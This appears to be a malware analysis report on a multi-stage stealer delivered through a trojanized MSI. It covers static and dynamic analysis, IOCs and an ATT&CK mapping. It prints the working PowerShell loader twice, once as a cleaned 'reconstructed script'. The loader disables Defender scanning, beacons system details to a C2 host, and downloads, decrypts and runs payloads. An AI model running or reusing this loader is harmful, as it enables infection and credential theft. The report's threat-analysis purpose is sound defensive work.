Barto_SCP_3008 (Stealer) Malware Analysis

Malware analysis report · 2026-04-05 · Prepared by: Sydney Harris, ZBS Labs

File Information

Field	Value
File Name	b87f0bdbd165da304157ea51e8d1fdf4cf91962e529247932e0876649db31cf3.msi.bin
File Size	2,863,104 bytes
MD5	1bc593da9be19605b4855d1781309b33
SHA1	5b6b28ab9130c81dc6bad6a62c7b1945bf7c6f3c
SHA256	b87f0bdbd165da304157ea51e8d1fdf4cf91962e529247932e0876649db31cf3
SHA512	de5fe6b4f4c6ff0765a83c434b3ea9a85d16e2e055f108d369a438e572370620aea78e9248809524f871cb26dd84e8928e4f1ba5da31f335cf8d0d450ee23a32
File Type	Archive: Microsoft Compound(MS Office 97-2003 or MSI etc.)

Detect It Easy indicates that this particular file is an MSI archive containing 4 *.dll files and at least one “GUI” binary. Our next action will be to unpack this file.

The idea is that we want to walk the file by hand to the payload to the best of our ability(or patience).

With an installer package, we know that functionally it must(but not always) either logically or physically “unpack” these files. We also need to get the installer logic.

Utilizing ExEInfo’s “Ripper Menu”, we will extract the contained binaries.

The files have been extracted and renamed to their original file names. Each file is a component of Advanced Installer. (See the right side bar)

From this initial file overview, we can ascertain that the malware sample as downloaded from Malware Bazaar is an MSI installer from an Advanced Installer instance that is malicious in nature

Advanced Installer components

Advanced Installer is a commercial Windows application packaging tool developed by Caphyon, widely used by software developers and IT professionals to create MSI, EXE, and MSIX installation packages.

Component	Description
viewer.exe	In this context is a Custom Action Shell Launcher. It can be invoked via a Custom Action to open files, launch URLs, or display content as part of the installer workflow.
PreReq.dll	This file checks installed software versions, registry keys for installed runtimes, OS version details, and system architecture.
lzmaextractor.dll	is a custom action DLL published by Caphyon and used by Advanced Installer to decompress LZMA-compressed archive files during the installation process.
PowershellScriptLauncher.dll	is an Advanced Installer custom action DLL that is embedded in the Binary table of an MSI package and invoked at install time to execute inline or file-based PowerShell scripts as part of the installation workflow.
AICustAct.dll	is the core custom actions library for Advanced Installer, embedded in the Binary table of MSI packages and responsible for executing a wide range of built-in installer actions such as CreateExeProcess, RunAsAdmin, file operations, and environment variable management during install/uninstall sequences.

For our Static Analysis, we could analyze each file individually, Strings, FLOSS, CAPA, ghidra and such. However, we will use a tool from Microsoft called “Orca“. The next section will cover a brief static analysis. We will then confirm our findings with our dynamic analysis. As we progress we will try to take the most logical path forward, however, your mileage may vary.

Static Analysis

Given the knowledge we have just gained about Advanced Installer, It would benefit us greatly to checkout some of the extracted files...or we can put the original MSI into the Windows tool Orca and get a better understanding of how this installer is going to function.

Orca — Orca is a free GUI-based database table editor from Microsoft, designed for creating, viewing, and editing Windows Installer packages (.msi), merge modules (.msm), patches (.msp), and transform files (.mst).

To install it:

1. Download the Windows SDK from Microsoft’s developer site
2. During installation, select only the MSI Tools feature
3. After the SDK installs, navigate to C:\Program Files (x86)\Windows Kits\10\bin\x86\ and run Orca-x86_en-us.msi

Using the Windows SDK MSI tool “Orca“. This tool allows us to search the Tables within the installer file. We want to look for references to some kind of future unpacking, decompression, execution, etc... The “Binary” table almost sounds like the best place to start.

Reference to our PowerShellScriptLauncher.dll file. Another search for “Powershell” takes us to the “CustomAction“ table:

We are going to take a look at AI_DATA_SETTER_1 and AI_DATA_SETTER_2.

$CjGfwZps = "SCP_3008"
$tvmPqpnD = Get-Random -Minimum 1400 -Maximum 4321
sleep -Milliseconds $tvmPqpnD
[\[]Net.ServicePointManager[\]]::SecurityProtocol = [\[]Net.SecurityProtocolType[\]]::Tls12
Add-MpPrefer`ence -ExclusionPath "$env:programdata", "$env:APPDATA", "C:\\"
Add-MpPrefer`ence -ExclusionProcess "powershell.exe", "rundll32.exe", "msiexec.exe"
Add-MpPrefer`ence -ExclusionExtension "exe", "msi", "dll"
$Jxsajfdp = -join([\[]char[\[][\]][\]](115,116,97,116,109,97,110,97,103,101,114,115,51,46,99,111,109))
Invoke-Web`Request -Uri ("$Jxsajfdp/?status=reg&key=9iwuerfszxlxc&site=Barto_$CjGfwZps") -UseBasicParsing
$kRTibjNm = (Get-CimInstance Win32_OperatingSystem).Caption -replace ' ', '%20'
$BMByrFkc = [\[]System.Net.WebUtility[\]]::UrlEncode($kRTibjNm)
$nMcLiAIr = (Get-CimInstance Win32_ComputerSystem).Domain
$xRWzhOJN = Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName AntiVirusProduct
$SxeYWFbd = $xRWzhOJN | ForEach-Object [\{]
    $_.displayName
[\}]
$NPnWCSGk = $SxeYWFbd -join ", "
$IclKMOFm = "$Jxsajfdp/?status=start&av=$NPnWCSGk&os=$BMByrFkc&domain=$nMcLiAIr"
try [\{]
    $response = Invoke-RestMethod -Uri $IclKMOFm -Method GET

[\}]
catch [\{]
    if ($_.Exception.Response.StatusCode -eq 'ServiceUnavailable') [\{]
        exit
    [\}]
  [\}]
  if ([\[]System.Diagnostics.Debugger[\]]::IsAttached) [\{]
    exit
[\}]
Sleep -m(Random -Min 166 -Max 999)
(New-Object Net.WebClient).DownloadFile('https://main45.b-cdn.net/new26/MicrosoftEdgeUpdateTaskMachineCoreB.msi',
"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi");
Sleep -m(Random -Min 1323 -Max 2236)
&[\{]$k=[\[]byte[\[][\]][\]](0x2B,0x7E,0x15,0x16,0x28,0xAE,0xD2,0xA6,0xAB,0xF7,0x15,0x88,0x09,0xCF,0x4F,0x3C,0x76,0x2E,0x71,0x60,0xF3,0x8B,0x4D,0xA1,0x6C,0x94,0x0A,0x25,0x8F,0x4A,0x89,0xC7);$v=[\[]byte[\[][\]][\]]
(0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15);$w=New-Object Net.WebClient;try[\{]$e=$w.DownloadData('https://main45.b-cdn.
net/new26/new30h.jar')[\}]catch[\{]exit[\}];$a=[\[]Security.Cryptography.Aes[\]]::Create();$a.Key=$k;$a.IV=$v;$a.
Mode='CBC';$d=$a.CreateDecryptor();$m=New-Object IO.MemoryStream;$c=New-Object Security.Cryptography.CryptoStream($m,$d,'Write');$c.Write($e,0,$e.Length);$c.Close();$b=$m.ToArray();[\[]Reflection.Assembly[\]]::Load($b).EntryPoint.Invoke($null,@())[\}]
Invoke-WebRequest -Uri ("$Jxsajfdp/?status=install") -UseBasicParsing
param(
  [\[]alias("propFile")[\]]      [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropOutFilePath
 ,[\[]alias("propSep")[\]]       [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropKVSeparator
 ,[\[]alias("scriptFile")[\]]    [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $userScriptFilePath
 ,[\[]alias("scriptArgsFile")[\]][\[]Parameter(Mandatory=$false)[\]][\[]string[\]] $userScriptArgsFilePath
 ,[\[]Parameter(Mandatory=$true)[\]]                          [\[]string[\]] $testPrefix
 ,[\[]switch[\]]                                                       $isTest
 )
Function AI_GetMsiProperty( [\[]Parameter(Mandatory=$true)[\]]  [\[]string[\]] $name
                          , [\[]Parameter(Mandatory=$false)[\]] $testValue = $null
                          )
[\{]
  if ($isTest -and ($testValue -ne $null))
  [\{]
   " $testPrefix$name $msiPropKVSeparator $testValue" >> $msiPropOutFilePath;
   return $testValue
  [\}]
  [\[]array[\]] $content = Get-Content $msiPropOutFilePath
  [\[]array[\]]::Reverse($content)
  ForEach ($line in $content)
  [\{]
    $lineTokens = $line -split $msiPropKVSeparator
    if ($lineTokens.Count -gt 1 -and $lineTokens[\[]0[\]] -eq $name)
    [\{]
      return $lineTokens[\[]1[\]]
    [\}]
  [\}]
  return ''
[\}]
[\}]
Function AI_SetMsiProperty( [\[]Parameter(Mandatory=$true)[\]] $name
                          , [\[]Parameter(Mandatory=$false)[\]] $value
                          )
[\{]
  if ($value -eq $null)
  [\{]
    Write-Output "POTENTIAL_BUG: MSI property $name set to an uninitialized/null variable. Initialize empty variables
using empty quotes."
  [\}]
  "$name$msiPropKVSeparator$value" >> $msiPropOutFilePath;
[\}]
try
[\{]
  [\[]string[\]] $userScriptArgs = Get-Content $userScriptArgsFilePath

  $userScriptFilePath = $userScriptFilePath.Replace(' ', '` ')
  $userScriptFilePath = $userScriptFilePath.Replace('$', '`$')
  # Simple quotes are problematic, especially when more in a succession
  # e.g. in a username. We need to enclose each bundle of them in a simple quoted string
  # with each contained simple quote being escaped by doubling. N initial quotes => (N+1)*2 final quotes
  $userScriptFilePath = $userScriptFilePath.Replace("''''", "??????????")
  $userScriptFilePath = $userScriptFilePath.Replace("'''",  "????????")
  $userScriptFilePath = $userScriptFilePath.Replace("''",   "??????")
  $userScriptFilePath = $userScriptFilePath.Replace("'",    "????")
  $userScriptFilePath = $userScriptFilePath.Replace('?',    "'")

  Invoke-Expression "$userScriptFilePath $userScriptArgs"
  if ($LastExitCode -ne $null)
  [\{]
    exit $LastExitCode;
  [\}]
[\}]
catch
[\{]
   Write-Output "ERROR: $($_.Exception.Message)"
   Exit 0x23E #ERROR_UNHANDLED_EXCEPTION
[\}]

C:\Windows\System32\msiexec.exe /i "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi" /qn /norestart
param(
  [\[]alias("propFile")[\]]      [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropOutFilePath
 ,[\[]alias("propSep")[\]]       [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $msiPropKVSeparator
 ,[\[]alias("scriptFile")[\]]    [\[]Parameter(Mandatory=$true)[\]] [\[]string[\]] $userScriptFilePath
 ,[\[]alias("scriptArgsFile")[\]][\[]Parameter(Mandatory=$false)[\]][\[]string[\]] $userScriptArgsFilePath
 ,[\[]Parameter(Mandatory=$true)[\]]                          [\[]string[\]] $testPrefix
 ,[\[]switch[\]]                                                       $isTest
 )
Function AI_GetMsiProperty( [\[]Parameter(Mandatory=$true)[\]]  [\[]string[\]] $name
                          , [\[]Parameter(Mandatory=$false)[\]] $testValue = $null
                          )
[\{]
  if ($isTest -and ($testValue -ne $null))
  [\{]
   " $testPrefix$name $msiPropKVSeparator $testValue" >> $msiPropOutFilePath;
   return $testValue
  [\}]
  [\[]array[\]] $content = Get-Content $msiPropOutFilePath
  [\[]array[\]]::Reverse($content)
  ForEach ($line in $content)
  [\{]
    $lineTokens = $line -split $msiPropKVSeparator
    if ($lineTokens.Count -gt 1 -and $lineTokens[\[]0[\]] -eq $name)
    [\{]
      return $lineTokens[\[]1[\]]
    [\}]
  [\}]
  return ''
[\}]
Function AI_SetMsiProperty( [\[]Parameter(Mandatory=$true)[\]] $name
                          , [\[]Parameter(Mandatory=$false)[\]] $value
                          )
[\{]
  if ($value -eq $null)
  [\{]
    Write-Output "POTENTIAL_BUG: MSI property $name set to an uninitialized/null variable. Initialize empty variables
using empty quotes."
  [\}]
  "$name$msiPropKVSeparator$value" >> $msiPropOutFilePath;
[\}]
try
[\{]
  [\[]string[\]] $userScriptArgs = Get-Content $userScriptArgsFilePath

  $userScriptFilePath = $userScriptFilePath.Replace(' ', '` ')
  $userScriptFilePath = $userScriptFilePath.Replace('$', '`$')
  # Simple quotes are problematic, especially when more in a succession
  # e.g. in a username. We need to enclose each bundle of them in a simple quoted string
  # with each contained simple quote being escaped by doubling. N initial quotes => (N+1)*2 final quotes
  $userScriptFilePath = $userScriptFilePath.Replace("''''", "??????????")
  $userScriptFilePath = $userScriptFilePath.Replace("'''",  "????????")
  $userScriptFilePath = $userScriptFilePath.Replace("''",   "??????")
  $userScriptFilePath = $userScriptFilePath.Replace("'",    "????")
  $userScriptFilePath = $userScriptFilePath.Replace('?',    "'")

  Invoke-Expression "$userScriptFilePath $userScriptArgs"
  if ($LastExitCode -ne $null)
  [\{]
    exit $LastExitCode;
  [\}]
[\}]
catch
[\{]
   Write-Output "ERROR: $($_.Exception.Message)"
   Exit 0x23E #ERROR_UNHANDLED_EXCEPTION
[\}]

Inside of the powershell script, we see references to Add-MpPreference, string contruction, web address path a couple payload retrievals, decoding, decryption, and the next stage execution.

The next section will be an analysis of this powershell script. We will break down it’s functions and then map the analysis so far to the MITRE ATT&CK Framework.

Script Analysis

SCP_3008 is possibly the campaign/victim tag used by the threat actor to track infections. The random sleep between 1.4–4.3 seconds is sandbox evasion — most automated sandboxes have short execution timeouts and may miss anything that sleeps before detonating.

The backtick splits on Add-MpPrefer`ence and Invoke-Web`Request` are simple string fragmentation to evade static detections. The Exclusions completely disable Windows Defender for the entire campaign’s working directories and every process/extension the malware will use. After this runs, Defender is blind to everything that follows — staged payloads in %APPDATA% and %ProgramData%, the dropped MSI, and any DLL or EXE it loads.

C2 location:

$Jxsajfdp = -join([\[]char[\[][\]][\]](115,116,97,116,109,97,110,97,103,101,114,115,51,46,99,111,109))

Decodes to: statmanagers3[.]com

iwr becomes:

Invoke-Web`Request -Uri (“statmanagers3.com/?status=reg&key=9iwuerfszxlxc&site=Barto_SCP_3008”)

• key=9iwuerfszxlxc — possible hardcoded affiliate/operator API key
• site=Barto_SCP_3008 — Barto: possible affiliate name; SCP_3008: possible campaign/target ID
• status=reg — victim registration beacon, tells the C2 a new infection has started

The script then does some enumeration to fingerprint this victim: OS version, domain membership, and installed Antivirus products.

That information is then sent to the c2 with a status parameter of start.

If the GET request receives a ‘ServiceUnavailable’ response, abort. If there is a debugger attached, abort.

Here, MicrosoftEdgeUpdateTaskMachineCoreB.msi is downloaded to the %ProgramData% directory(if you remember, your antivirus may not know the malware is there) from a BunnyCDN endpoint. Followed by another sleep delay

Here, a second payload is downloaded as a *.jar, Java file container. However, in this sequence of events, the AES key and IV are loaded into variables. Then Net.WebClient is invoked to ‘DownloadData’ the jar file. The file is then decrypted and stored as an assembly array that is loaded and Invoked.

The script then sends a final status=install beacon to the C2 confirming it’s success and proceeds with the execution of the downloaded MSI file with parameters designed to make it silent.

Item	Value
C2 Domain	statmanagers3[.]com
Payload Content Delivery Network	main45[.]b-cdn[.]net
Campaign/Affiliate Key	9iwuerfszxlxc
Campaign Tag	Barto_SCP_3008
Stage-2 MSI	MicrosoftEdgeUpdateTaskMachineCoreB.msi
Encrypted Blob	/new26/new30h.jar
AES Key (hex)	2B7E151628AED2A6ABF7158809CF4F3C762E7160F38B4DA16C940A258F4A89C7
AES IV (hex)	000102030405060708090A0B0C0D0E0F
Drop Path	C:\ProgramData\

This script attemptes to disable Windows Defender, beacons to a live C2, downloads and reflectively executes an AES-encrypted .NET payload, and silently downloads and runs a second stage MSI.

This is the end of the static analysis since it is pretty much in plain text. A MITRE ATT&CK Framwork mapping is in the next sections. Following that, we will perform a dynamic analysis of this script that will lead into the stage 2 MSI analysis.

Reconstructed script

This script attempts to actively disables Windows Defender, beacons to a live C2,sends information about your computer, downloads and reflectively executes an AES-encrypted .NET payload, and silently downloads and runs a second-stage MSI. DO NOT RUN UNLESS YOU ARE IN AN ISOLATED ENVIRONMENT OR SANDBOX

#>
$CjGfwZps = "SCP_3008"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Add-MpPreference -ExclusionPath "$env:programdata", "$env:APPDATA", "C:\\"
Add-MpPreference -ExclusionProcess "powershell.exe", "rundll32.exe", "msiexec.exe"
Add-MpPreference -ExclusionExtension "exe", "msi", "dll"
$Jxsajfdp = -join([char[]](115,116,97,116,109,97,110,97,103,101,114,115,51,46,99,111,109))
Invoke-WebRequest -Uri ("$Jxsajfdp/?status=reg&key=9iwuerfszxlxc&site=Barto_$CjGfwZps") -UseBasicParsing
$kRTibjNm = (Get-CimInstance Win32_OperatingSystem).Caption -replace ' ', '%20'
$BMByrFkc = [System.Net.WebUtility]::UrlEncode($kRTibjNm)
$nMcLiAIr = (Get-CimInstance Win32_ComputerSystem).Domain
$xRWzhOJN = Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName AntiVirusProduct
$SxeYWFbd = $xRWzhOJN | ForEach-Object { $_.displayName }
$NPnWCSGk = $SxeYWFbd -join ", "
$IclKMOFm = "$Jxsajfdp/?status=start&av=$NPnWCSGk&os=$BMByrFkc&domain=$nMcLiAIr"
try
{
  $response = Invoke-RestMethod -Uri $IclKMOFm -Method GET
}
catch
{
  if ($_.Exception.Response.StatusCode -eq 'ServiceUnavailable') { exit }
}
if ([System.Diagnostics.Debugger]::IsAttached) { exit }
(New-Object Net.WebClient).DownloadFile(
  'https://main45.b-cdn.net/new26/MicrosoftEdgeUpdateTaskMachineCoreB.msi',
  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi"
)
Sleep -Milliseconds (Get-Random -Min 1 -Max 2)
&{
  $k = [byte[]](
    0x2B,0x7E,0x15,0x16,0x28,0xAE,0xD2,0xA6,0xAB,0xF7,0x15,0x88,0x09,0xCF,0x4F,0x3C,
    0x76,0x2E,0x71,0x60,0xF3,0x8B,0x4D,0xA1,0x6C,0x94,0x0A,0x25,0x8F,0x4A,0x89,0xC7
  )
  $v = [byte[]](0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15)
  $w = New-Object Net.WebClient
  try   { $e = $w.DownloadData('https://main45.b-cdn.net/new26/new30h.jar') }
  catch { exit }
  $a        = [Security.Cryptography.Aes]::Create()
  $a.Key    = $k
  $a.IV     = $v
  $a.Mode   = 'CBC'
  $d        = $a.CreateDecryptor()
  $m        = New-Object IO.MemoryStream
  $c        = New-Object Security.Cryptography.CryptoStream($m, $d, 'Write')
  $c.Write($e, 0, $e.Length)
  $c.Close()
  $b        = $m.ToArray()
  [Reflection.Assembly]::Load($b).EntryPoint.Invoke($null, @())
}
Invoke-WebRequest -Uri ("$Jxsajfdp/?status=install") -UseBasicParsing
C:\Windows\System32\msiexec.exe /i "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi" /qn /norestart

MITRE ATT&CK Mapping

Initial Access

ID	Name	Evidence in script
T1566.002	Phishing: Spearphishing Link	Delivered as a trojanized Advanced Installer EXE package (viewer.exe) — likely lure-based delivery
T1195	Supply Chain Compromise	Abuses legitimate Advanced Installer toolchain (PowerShellScriptLauncher.dll) to execute malicious custom action

Execution

ID	Name	Evidence in script
T1059.001	Command and Scripting Interpreter: PowerShell	Entire attack chain executes via PowerShell as a MSI custom action

Persistence

Not yet established.

Defense Evasion

ID	Name	Evidence in script
T1562.001	Impair Defenses: Disable or Modify Tools	Add-MpPreference excludes %ProgramData%, %APPDATA%, C:\, powershell.exe, rundll32.exe, msiexec.exe, and extensions exe/msi/dll from Defender
T1620	Reflective Code Loading	[Reflection.Assembly]::Load($b).EntryPoint.Invoke($null,@()) — decrypted .NET assembly executed entirely in-memory, never written to disk
T1027	Obfuscated Files or Information	C2 domain encoded as decimal char array (115,116,97,116,...) to evade static string scanning
T1027.010	Obfuscated Files or Information: Command Obfuscation	Backtick splits on Add-MpPrefer`ence and Invoke-Web`Request` to break cmdlet name signatures
T1027.013	Obfuscated Files or Information: Encrypted/Encoded File	new30h.jar is an AES-256-CBC encrypted .NET assembly — .jar extension used as a file type decoy
T1140	Deobfuscate/Decode Files or Information	In-memory AES-256-CBC decryption of new30h.jar using hardcoded key and IV before reflective load
T1036.005	Masquerading: Match Legitimate Name or Location	Payload dropped as MicrosoftEdgeUpdateTaskMachineCoreB.msi to C:\ProgramData\ — mimics a legitimate Microsoft Edge auto-update artifact
T1218.007	System Binary Proxy Execution: Msiexec	Execution of stage-2 payload proxied through msiexec.exe to abuse trusted Windows installer binary
T1497.003 ; T1678	Virtualization/Sandbox Evasion: Time Based Evasion ; Delay Execution	Multiple sleep/Get-Random jitter calls (1400–4321ms, 166–999ms, 1323–2236ms) to outlast sandbox execution windows
T1622	Debugger Evasion	[System.Diagnostics.Debugger]::IsAttached hard exits if a .NET debugger is attached to the process

Discovery

ID	Name	Evidence in script
T1082	System Information Discovery	Get-CimInstance Win32_OperatingSystem - collects OS caption and exfiltrates via ?os= parameter
T1518.001	Software Discovery: Security Software Discovery	Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct — enumerates all installed AV products, exfiltrated via ?av= parameter
T1016	System Network Configuration Discovery	Get-CimInstance Win32_ComputerSystem — collects Active Directory domain name, exfiltrated via ?domain= parameter

Command and Control

ID	Name	Evidence in script
T1071.001	Application Layer Protocol: Web Protocols	All C2 communication uses HTTPS GET requests to statmanagers3[.]com with structured query parameters (?status=reg, ?status=start, ?status=install)
T1573.001	Encrypted Channel: Symmetric Cryptography	Explicit [Net.SecurityProtocolType]::Tls12 enforcement for all outbound connections; AES-256-CBC payload channel
T1102	Web Service	BunnyCDN (main45[.]b-cdn[.]net) used as payload delivery web service to blend downloads with legitimate CDN traffic
T1568	Dynamic Resolution	C2 domain statmanagers3[.]com stored as an obfuscated char array decoded at runtime — prevents static domain extraction from the binary
T1041	Exfiltration Over C2 Channel	OS version, AV product list, and domain name exfiltrated inline within the C2 beacon URI parameters

Exfiltration

ID	Name	Evidence in script
T1041	Exfiltration Over C2 Channel	OS version, AV product list, and domain name exfiltrated inline within the C2 beacon URI parameters

Dynamic Analysis

We will detonate the reconstructed powershell script that was provided earlier. For the purposes of analyzing this initial access malware, the first part of our dynamic analysis will be successful if we can communicate with the C2 and retrieve both parts of the malicious payload. This analysis will be done inside of an Any.Run environment.

This smaller Any.Run process graph shows that after our powershell script is executed, it begins launching the next stages, launching msiexec.exe to run the next stage msi.

Explicit TLS enforcement for web communications. Getting ready to evade AV

Each Exclusion rule attempt in the Powershell script failed with HRESULT 0xc0000142.

Expected behavior here. Victim contacts C2 to start victim registration process. It then sends Antivirus, System OS, and Domain information to the C2 and starts the payload download process.

The Victim then sends an install beacon to the c2 indcating that it is moving on to the payload execution/install phase of the kill chain. This then triggers the Encrypted .NET payload download.

The .NET assembly is then downloaded, decrypted and executed in memory.

A 3rd stage C2 location (dns-providersa2[.]com/check) is beaconed, however receives a 403 Forbidden response.

Network Traffic

The C2 communication begins with a registration beacon via a GET request. Successful beacon is rewarded with a “200: OK” response

In the second communication, the victim sends a start beacon to the C2. In this beacon, the system’s enummerated infomation is sent over. Successful beacon is rewarded with a “200: OK“ response

The victim then requests the payload from a location that is part of the Bunny-CDN network

A successful beacon is rewarded with a “200: OK” response. BunnyCDN sends the file as requested.

The victim then requests the second payload. The request was successful and the payload is downloaded.

Finally, the victim sends the install beacon. Successful beacon is rewarded with a “200: OK“ response

The victim then sends a 0 Length POST request to a new ‘/check’ c2 endpoint located at: dns-providersa2[.]com. That endpoint responds with a 403:Forbidden response.

This is the Suricata Emerging Threats detection from Any.Run.

This is the Suricata detection from Any.Run.

In the next section, we will do a basic DNS check via Cloudflare on the C2 domains.

statmanagers3.com

main45.b-cdn.net

dns-providersa2.com/check

Next, we will perform a static analysis of the decrypted jar file payload binary.

Static Analysis: Decrypted Payload

Field	Value
File Name	we4ftg.exe
File Size	768,000 bytes
MD5	f4ad467cf1d2865767e1fae6dae8fac0
SHA1	e97b13ee34b33e37a37c3b1222c60f9bd3aa97c2
SHA256	5062d43c6c8486b263de5a9c6da60e4ff2e4a184f85d655d5d5f7553842f643e

Using Detect It Easy, we see that this binary is a .Net/C# binary protected with .NET Reactor.

Indications of Timestamp Forgery (Timestomping)

Since we know this is a protected by .net reactor, we will need to clean that up first. You will see why in the next few pages.

Pop the old “entirely too obfuscated“ binary in DnSpy, because why not. First, hit it with the de4dot one time. Note the Entry point ”WbElevation.BrowserKeyDecryptor”, we will come back to that later.

I’m getting stealer vibes. FirefoxJsonParsers, FirefoxLoginEntry, EncryptedPassword, EncryptedUsername

Not Suspicious at all: NoName, DocumentsCollector, Info, and Wallet

With names like Wallet and ExtractWallets...I think we are really narrowing this thing down.

Well, I think we may have an orgin story here. Class name “AntiSNG“ and plain text function “CheckAndExitIfRussian“. This function appears to check the system’s installed keyboard layouts, and exit if true. Assumptions.

While all that is great and interesting. We really need to clean this up a bit. NETReactorSlayer to the rescue. After a rough pass renaming functions I ran the sample through NETReactorSlayer.

Before

After

Even Better

Much much better. We are certainly not going to go through every function, class, method and namespace, but we will take a look at a lot of the interesting functions.

Anti-debugging check: The binary includes a simple anti-debugging routine that calls the .NET Debugger.IsAttached property at runtime. If a debugger is detected, it immediately throws an exception, causing the program to terminate and preventing further analysis under an attached debugger. Bypassed via ‘ret’

This is an interesting reference. It is a reference to one of this binary’s resources.

The code also references three additional embedded resources whose purpose is not fully understood at this time. Based on the surrounding context, they are likely used for encrypted payloads, configuration data, string table information, but only one of these resources has been successfully decrypted so far. Further decoding attempts did not yield a complete reconstruction of the remaining resources, so their exact contents and role in the execution chain remain partially unknown. While it may be important to know exactly what each resource does and how they may be referenced and decoded, we will not be doing that in this analysis.

This code references Eziriz’s .NET Reactore Trial with a start day of 3/12/2026.

If the “timespan“ exceeds the 14 day limit of the trial, it goes to IL_95 and throws our exception. This check also will be bypassed and replaced with a return function

Renamed functions to make everyone’s lives easier.

There is no time like runtime to assemble our imports.

To evade static analysis and signature-based detection, the protected binary employs a specific obfuscation technique for Win32 API imports. API function names are split and reassembled at runtime using string concatenation and .Trim() calls (e.g., “Close “.Trim() + “Handle” → “CloseHandle”), preventing plaintext API name strings from appearing in the binary.

This malware was clearly built with CryptoWalletStealer functionality. What wallets you ask? All the wallets.

In order to continue the actual analysis and not get stuck going down the obfuscated .NET Reactor binary, we ran the binary locally in DnSpy for debugging. While debugging the binary, we set breakpoints on VirtualAlloc,Debugger.IsAttached, VirtualProtect, and Timespan. This was done to bypass the anti-debugger check, bypass the .NET Reactor trial time check, and to break(halt execution) when modules are loaded in memory. Using System Informer, I opened the malware process that was being debugged in dnSpy(named s4.exe) and monitored the “.NET performance” tab for when Jit methods appeared to stop loading.

Once it appeared that the methods stopped loading, I suspended the process in System Informer and created a full dump. With this full dump, we will draw the correlations between our previous static/dynamic analysis of the powershell script. We will pick up close to where that analysis ended.

Analysis

Previously, when we ran the powershell script and the malware reached out to the c2, we received a ‘403: Forbidden’ response(parts of the header are dynamic and there were multiple executions during this analysis). However, when we run the executable payload binary we received a different response.

Here we receive a ‘418: I’m a teapot’ response. This appears to be a reference to RFC2324. This response definitively informs us that this particular variant of malware cannot brew coffee as it has notified us that it is a teapot. As we know, teapots are notoriously used for brewing tea, and not coffee.

After the successful connection, as indicated by the 418 response. Our system information is immediately uploaded to the c2 in plaintext(hex)

The malware then conducts browser profile harvesting. A list of browser names and profile paths and/or data directories are listed statically in the malware for the malware to search and target for credential harvesting or cookie stealing.

Chrome and Edge are then launched silently and quietly with no sandbox.

Being a stealer, the malware also targets crypto:

Lets recap the stages of this specific malware, review the IOC’s, and map them to the MITRE ATT&CK Framework.

Summary / TL;DR

This malware is a multi-stage credential and cryptowallet stealer delivered via a trojanized Advanced Installer MSI package. The attack chain is composed of four discrete stages:an MSIdropper, a PowerShell loader, a next-stage MSI, an in-memory .NET assembly payload (the core implant containing the final payload). The campaign appears to be tagged Barto_SCP_3008, which appears to be an affiliate identifier (“Barto”) and a campaign or victim pool ID (“SCP_3008”).

Stage 1 — MSI Dropper (Initial Access)

File: b87f0bdbd165da304157ea51e8d1fdf4cf91962e529247932e0876649db31cf3.msi.bin
Size: 2,863,104 bytes | File Type:Microsoft Compound / MSIArchive

The initial delivery vehicle is a malicious MSI installer constructed using Advanced Installer, a legitimate commercial packaging tool by Caphyon. Static inspection with Detect It Easy reveals the archive contains four component DLLs and a GUIbinary, consistent with a packed Advanced Installer bundle.Extraction via ExEInfo’s “Rip” function yields the following components:

The MSI’s CustomAction table (inspected via Microsoft Orca) reveals two data-setter actions — AI_DATA_SETTER_1 and AI_DATA_SETTER_2 — that pass configuration to PowerShellScriptLauncher.dll, which then invokes the embedded malicious PowerShell script via the RunPowerShellScript export. This mechanism abuses the trusted MSI installer workflow to achieve initial code execution without dropping an obvious standalone executable.

Stage 2 — PowerShell Loader (Defense Evasion, Reconnaissance, C2 Registration & Payload Staging)

The PowerShell script embedded within the MSI is the operational core of the first-stage kill chain.

It performs the following actions in sequence:

• Sets campaign tag variable:$CjGfwZps = “SCP_3008”
• Enforces TLS1.2 for all outbound connections via [Net.ServicePointManager]::SecurityProtocol
• Sleeps a random interval between 1,400–4,321 ms before detonating —a timing-base sandbox evasion technique designed to outlast automated sandbox execution windows.
• Checks [System.Diagnostics.Debugger]::IsAttached and exits immediately if a .NETdebugger is attached
• Attempts to register three Add-MpPreference exclusion rules that effectively blind Windows Defender to the entire attack chain
• ExclusionPath: %ProgramData%, %APPDATA%, C:\
• ExclusionProcess: powershell.exe, rundll32.exe, msiexec.exe
• ExclusionExtension: .exe, .msi, .dll

Note: During dynamic analysis in the Any.Run sandbox, all three exclusion attempts failed with HRESULT 0xc0000142, indicating that something prevented the Defender modification.

Obfuscation is applied to cmdlet names via backtick injection (e.g., Add-MpPrefer`ence, InvokeWeb`Request`) to break static signature matching. The C2 domain statmanagers3[.]com is stored as an obfuscated decimal character array (decoded:115,116,97,116,109,97,110,97,103,101,114,115,51,46,99,111,109) to prevent static string extraction.

• First contact is a registration beacon:

GET statmanagers3.com/?status=reg&key=9iwuerfszxlxc&site=Barto_SCP_3008
→ 200 OK (confirmed live at +5120ms during dynamic analysis)

• Prior to payload delivery, the script enumerates the victim environment and exfiltrates the results inline within the next C2 beacon.

GET statmanagers3.com/?status=start&av=Windows%20Defender&os=Microsoft%2520Windows%252010%25
→ 200 OK (14-byte token returned — possible session/tasking token)

• A second-stage MSI is downloaded to C:\ProgramData masquerading as a Microsoft Edge autoupdater

GET https://main45.b-cdn.net/new26/MicrosoftEdgeUpdateTaskMachineCoreB.msi
→ C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi (~5 MB)

• The CDN host main45[.]b-cdn[.]net (BunnyCDN)is used to blend payload delivery with legitimate CDN traffic. Concurrent with MSI staging, the script downloads a file with a .jar extension —a decoy extension —which is actually an AES-256-CBC encrypted .NET assembly

